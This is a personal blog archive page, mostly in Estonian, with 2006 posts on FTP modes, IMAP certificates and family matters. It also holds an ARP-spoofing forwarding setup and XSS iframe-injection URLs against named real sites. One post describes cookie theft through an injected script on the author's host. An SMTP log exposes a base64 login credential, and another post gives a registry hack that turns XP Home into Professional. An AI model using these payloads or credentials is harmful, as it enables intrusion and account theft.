Skip to content

Margus Roo –

If you're inventing and pioneering, you have to be willing to be misunderstood for long periods of time

  • Cloudbreak Autoscale fix
  • Endast

FTP active and passive modes

Posted on November 23, 2006 by margusja

FTP is a TCP based service exclusively. There is no UDP component to FTP. FTP is an unusual service in that it utilizes two ports, a ‘data’ port and a ‘command’ port (also known as the control port). Traditionally these are port 21 for the command port and port 20 for the data port. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.

Active FTP

In active mode FTP the client connects from a random unprivileged port (N > 1023) to the FTP server’s command port, port 21. Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server. The server will then connect back to the client’s specified data port from its local data port, which is port 20.

From the server-side firewall’s standpoint, to support active mode FTP the following communication channels need to be opened:
FTP server’s port 21 from anywhere (Client initiates connection)
FTP server’s port 21 to ports > 1023 (Server responds to client’s control port)
FTP server’s port 20 to ports > 1023 (Server initiates data connection to client’s data port)
FTP server’s port 20 from ports > 1023 (Client sends ACKs to server’s data port)

Passive FTP

In order to resolve the issue of the server initiating the connection to the client a different method for FTP connections was developed. This was known as passive mode, or PASV, after the command used by the client to tell the server it is in passive mode.

In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server. When opening an FTP connection, the client opens two random unprivileged ports locally (N > 1023 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command. The result of this is that the server then opens a random unprivileged port (P > 1023) and sends the PORT P command back to the client. The client then initiates the connection from port N+1 to port P on the server to transfer data.

From the server-side firewall’s standpoint, to support passive mode FTP the following communication channels need to be opened:
FTP server’s port 21 from anywhere (Client initiates connection)
FTP server’s port 21 to ports > 1023 (Server responds to client’s control port)
FTP server’s ports > 1023 from anywhere (Client initiates data connection to random port specified by server)
FTP server’s ports > 1023 to remote ports > 1023 (Server sends ACKs (and data) to client’s data port)

Summary

The following chart should help admins remember how each FTP mode works:
Active FTP :
command : client >1023 -> server 21
data : client >1023 <- server 20 Passive FTP : command : client >1023 -> server 21
data : client >1023 -> server >1023

A quick summary of the pros and cons of active vs. passive FTP is also in order:

Active FTP is beneficial to the FTP server admin, but detrimental to the client side admin. The FTP server attempts to make connections to random high ports on the client, which would almost certainly be blocked by a firewall on the client side. Passive FTP is beneficial to the client, but detrimental to the FTP server admin. The client will make both connections to the server, but one of them will be to a random high port, which would almost certainly be blocked by a firewall on the server side.

Luckily, there is somewhat of a compromise. Since admins running FTP servers will need to make their servers accessible to the greatest number of clients, they will almost certainly need to support passive FTP. The exposure of high level ports on the server can be minimized by specifying a limited port range for the FTP server to use. Thus, everything except for this range of ports can be firewalled on the server side. While this doesn’t eliminate all risk to the server, it decreases it tremendously.

Posted in LinuxLeave a comment

Isadep2eva ratsutamine

Posted on November 13, 2006 - November 13, 2006 by margusja

Yldiselt ei pea ma ennast heaks isaks. On p6hjuseid. Aga n2 m6ni peab 🙂 Tydrukud pidasid meeles – http://gallery.margusja.pri.ee/ratsutamas

Ja Krissu kinkis unistatud m2lupulga.

Lahe 🙂

Posted in Fun, LapsedLeave a comment

Arp spoofing

Posted on November 11, 2006 by margusja

Asja kohta palju manuaale. Aga v2hesed mainivad allolevaid iptables ridasid. Yksi ip_forward enablemisest ei piisa.

iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE
iptables –append FORWARD –in-interface eth0 -j ACCEPT

echo 1 > /proc/sys/net/ipv4/ip_forward

Posted in LinuxLeave a comment

Creating the Cyrus-Imapd TLS/SSL Certificate

Posted on November 11, 2006 - August 26, 2011 by margusja

<code>

220 mail.okia.ee ESMTP Postfix (2.4.5) EHLO Margusjas-MacBook-Pro.local 250-mail.okia.ee 250-PIPELINING 250-SIZE 10240000 250-ETRN 250-STARTTLS 250-AUTH LOGIN PLAIN 250-AUTH=LOGIN PLAIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN AUTH PLAIN AG1hcmd1c2phX29raWFfZWUAbWFyZ3VzamExMTI= 235 2.0.0 Authentication successful MAIL FROM:SIZE=695 250 2.1.0 Ok RCPT TO:250 2.1.5 Ok DATA 354 End data with.Message-ID: <4E57E252.9060107@okia.ee> Date: Fri, 26 Aug 2011 21:13:38 +0300 From: Margus RooUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:6.0) Gecko/20110812 Thunderbird/6.0 MIME-Version: 1.0 To: MargusjaSubject: test Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit — Margus Roo http://www.okia.ee —-BEGIN PUBLIC KEY—– MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD2KPM8YjdNO39TFgU+r5rDtiB8 OgqBHBDZTUDPu6zQDxV1t+Yt9uOmQ/RGRBapxqzedHFsBoYNjqH2bt9lMoy+jCaj +OLzY/NmOUZ2+HmsFHtDGpTcAUSIa3lygnSzgzXliDsH5YGXSXXOJULsk7FJdP82 AzssW9lhmz/Vk7NVAQIDAQAB —–END PUBLIC KEY—– . 250 2.0.0 Ok: queued as 0801911A8005 QUIT 221 2.0.0 Bye

</code>

 

openssl req -new -nodes -out req.pem -keyout key.pem
openssl rsa -in key.pem -out new.key.pem
openssl x509 -in req.pem -out ca-cert -req \
-signkey new.key.pem -days 999

mkdir /var/imap

cp new.key.pem /var/imap/server.pem
rm new.key.pem
cat ca-cert >> /var/imap/server.pem

chown cyrus:mail /var/imap/server.pem
chmod 600 /var/imap/server.pem # Your key should be protected

echo tls_ca_file: /var/imap/server.pem >> /etc/imapd.conf
echo tls_cert_file: /var/imap/server.pem >> /etc/imapd.conf
echo tls_key_file: /var/imap/server.pem >> /etc/imapd.conf

 

Nojah, kontrollida saad:

openssl s_client -connect mail.okia.ee:993 < IMAPS port

openssl s_client -connect mail.okia.ee:995 <  POPS port

Posted in LinuxLeave a comment

Logistika

Posted on October 30, 2006 by margusja

Posted in FunLeave a comment

Vacation message & sivescript

Posted on October 25, 2006 by margusja

Create fail: (example: test.txt)
require “vacation”;
vacation :days {nr}:addresses “user@example.com”
“message”;

[root@server ~]# sieveshell –user=user –authname=authuser(cyrus) host
connecting to server
Please enter your password:
> put test.txt
> activate text.txt

Posted in LinuxLeave a comment

Lollide inimeste grupi jõud!

Posted on October 14, 2006 - October 14, 2006 by margusja

Lollide inimeste jõud

Posted in Fun, LangevarjundusLeave a comment

XXS funn and Cookies stealing

Posted on October 13, 2006 - October 28, 2006 by margusja

http://www.skydive.ee/?op=search&sw=%3Ciframe%20src=http://www.hot.ee/kalamaja1991/skydive.html%20width=1000%20height=1000%3E ja link

http://www.usk.ee/links.php?search=%3Ciframe+src%3Dhttp://ftp.margusja.pri.ee/GAY.JPG%20width=500%20height=500%3E&andor=and&submit=Otsi ja link

Oletame, et te leiate koha kus saab n.n HTML-i injectida, Otsinguformid, html-i lubavad foorumid, kommentaarimise formid jne…
Lisate sinna rea javascriptis mis kutsub välja http://ftp.margusja.pri.ee/s.jc. Tulemust näete siin


 

Keskerakonna Haabersti leht <Link>

Posted in TurvalisusLeave a comment

Sa võid saada vabaks!

Posted on October 13, 2006 - October 13, 2006 by margusja

Mees! Saa vabaks!
svabaks_mees.gif

Posted in FunLeave a comment

5 minutiga Windows XP Home -> Windows XP Professional

Posted on October 11, 2006 - October 11, 2006 by margusja

Kõne MS Eestisse ja sealpoolne teenindaja väitis et ei ole võimalik ja heal juhul muutuvad ainult logod. Küsimusele et kas see on legaalne, vastas teenindaja et teie oma asi mida te oma ostetud windosiga teete.

Win XP HOME ei tohiks toedata domeeni logimist. Peale allpool tehtud uuendamist hakkas ta igatahes järsku domeeni kogimist toetama!

1. Avame regedit (kes ei tea, mis see on ja kuidas käivitada – Start->Run ja avanenud aknakese väljale kirjutame regedit ning klikkame OK nuppu)
2. Valime kataloogi: HKEY_LOCAL_MACHINE ja liigume alajaotusse SYSTEM
3. Näeme seal mitut alajaotust nimega ControlSet, milledel lisaks numbrid (näiteks ControlSet001 ja ControlSet003). Meie vajame seda, mis on kõige suurema numbriga.
4. Edasi valime eelneva alt alajaotuse nimega Control ja siis ProductOptions
5. Home versioonil on seal parameeter ProductSuite “multifunctional parameter” väärtusega Personal – see tuleks eemaldada ja tema asemele seal samas anda väärtus nimega Brand tĂĽĂĽbiga “DWORD” väärtusega 0 !
6. Sulgeme ristikesest Regedit akna ja restardime arvuti. Uuesti startimis ajal vajutame klahvi F8 saamaks ette mustal ekraanil startimis võimaluste menĂĽĂĽd. Selles menĂĽĂĽs teeme valiku “Last known good configuration” kasuks.
7. Ongi valmis. Selleks, et tagasi saada omale Windows XP Home peate sama õpetuse järgi muutma selle registri võtme endiseks.

Posted in WindowsLeave a comment

Posts navigation

Older posts
Newer posts

The Master

Categories

  • Apache
  • Apple
  • Assembler
  • Audi
  • BigData
  • BMW
  • C
  • Elektroonika
  • Fun
  • Hadoop
  • help
  • Infotehnoloogia koolis
  • IOT
  • IT
  • IT eetilised
  • Java
  • Langevarjundus
  • Lapsed
  • lastekodu
  • Linux
  • M-401
  • Mac
  • Machine Learning
  • Matemaatika
  • Math
  • MSP430
  • Muusika
  • neo4j
  • openCL
  • Ă•petaja identiteet ja tegevusvõimekus
  • oracle
  • PHP
  • PostgreSql
  • ProM
  • R
  • Turvalisus
  • Varia
  • Windows
Proudly powered by WordPress | Theme: micro, developed by DevriX.